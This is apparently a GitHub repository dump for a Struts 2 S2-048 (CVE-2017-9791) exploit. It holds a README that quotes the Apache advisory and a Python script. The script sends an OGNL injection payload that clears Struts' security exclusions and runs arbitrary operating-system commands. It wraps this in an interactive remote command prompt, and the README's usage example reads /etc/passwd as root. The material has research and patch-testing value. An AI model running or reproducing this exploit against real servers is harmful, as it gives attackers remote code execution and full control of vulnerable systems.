├── use-age.jpg ├── README.md └── St2-048.py /use-age.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/st2-048/HEAD/use-age.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # St2-048 Remote Code Execution Vulnerability 2 | [Apache Struts 2 possible RCE in the Struts Showcase app in the Struts 1 plugin example in the Struts 2.3.x series](https://cwiki.apache.org/confluence/display/WW/S2-048) 3 | 4 | http://struts.apache.org/docs/s2-048.html 5 | 6 | https://cwiki.apache.org/confluence/display/WW/S2-048 7 | 8 | # Use-Age: 9 | 10 | ```bash 11 | > python St2-048.py 12 | 13 | set url : http://xx.xx.xx.xx:port/integration/saveGangster.action 14 | 15 | cmd >>: whoami 16 | root 17 | 18 | cmd >>: cat /etc/passwd 19 | ``` 20 | ![](/use-age.jpg) 21 | 22 | ## Summary 23 | Possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series 24 | 25 | 26 | - Who should read this         **All Struts 2 developers and users should read this** 27 | 28 | - Impact of vulnerability        **Possible RCE when using the Struts 2 Struts 1 plugin** 29 | 30 | - Maximum security rating **High** 31 | 32 | - Recommendation **Please read the Solution section** 33 | 34 | - Affected Software **Struts 2.3.x with Struts 1 plugin and Struts 1 action** 35 | 36 | - Reporter **icez from Tophant Competence Center** 37 | 38 | - CVE Identifier **CVE-2017-9791** 39 | 40 | 41 | ## Problem 42 | 43 | It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class. 44 | 45 | ## Solution 46 | 47 | Always use resource keys instead of passing a raw message to the ActionMessage as shown below, never pass a raw value directly 48 | 49 | messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName())); 50 | 51 | and never like this 52 | 53 | messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added")); 54 | 55 | ## Backward compatibility 56 | 57 | No backward incompatibility issues are expected. 58 | 59 | # 参考文章链接: 60 | ## 【漏洞分析】Struts2高危漏洞S2-048分析 61 | http://m.bobao.360.cn/learning/detail/4078.html 62 | -------------------------------------------------------------------------------- /St2-048.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # -*- coding: utf-8 -*- 4 | 5 | ''' 6 | 7 | ____ ____ ___ _ _ ___ 8 | / ___|___ \ / _ \| || | ( _ ) 9 | \___ \ __) |____| | | | || |_ / _ \ 10 | ___) / __/_____| |_| |__ _| (_) | 11 | |____/_____| \___/ |_| \___/ 12 | 13 | ____ ____ _____ _ _ _ _ 14 | | _ \ / ___| ____| / \ | |_| |_ _ __ __ _ ___| | __ 15 | | |_) | | | _| / _ \| __| __| '__/ _` |/ __| |/ / 16 | | _ <| |___| |___ / ___ \ |_| |_| | | (_| | (__| < 17 | |_| \_\\____|_____| /_/ \_\__|\__|_| \__,_|\___|_|\_\ 18 | 19 | Author By Jas502n 20 | 21 | https://github.com/jas502n/st2-048 22 | 23 | 影响不大,周末注意休息,不要搞事情! 24 | 25 | ''' 26 | 27 | import json,re 28 | import requests 29 | import threading 30 | import urllib 31 | 32 | def Poc(url,command): 33 | header = {'Content-Type': 'application/x-www-form-urlencoded'} 34 | poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \ 35 | "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"} 36 | data = urllib.urlencode(poc) 37 | try: 38 | result = requests.post(url,data=data,headers=header) 39 | if result.status_code == 200: 40 | 41 | print result.content 42 | except requests.ConnectionError,e: 43 | print e 44 | 45 | th = {"url":""} 46 | 47 | while True: 48 | if th.get("url") != "": 49 | input_cmd = raw_input("cmd >>: ") 50 | if input_cmd == "exit": 51 | exit() 52 | elif input_cmd == 'set': 53 | url = raw_input("set url :") 54 | th['url'] = url 55 | elif input_cmd == 'show url': 56 | print th.get("url") 57 | else: 58 | Poc(th.get("url"),input_cmd) 59 | else: 60 | url = raw_input("set url :") 61 | th["url"] = url 62 | --------------------------------------------------------------------------------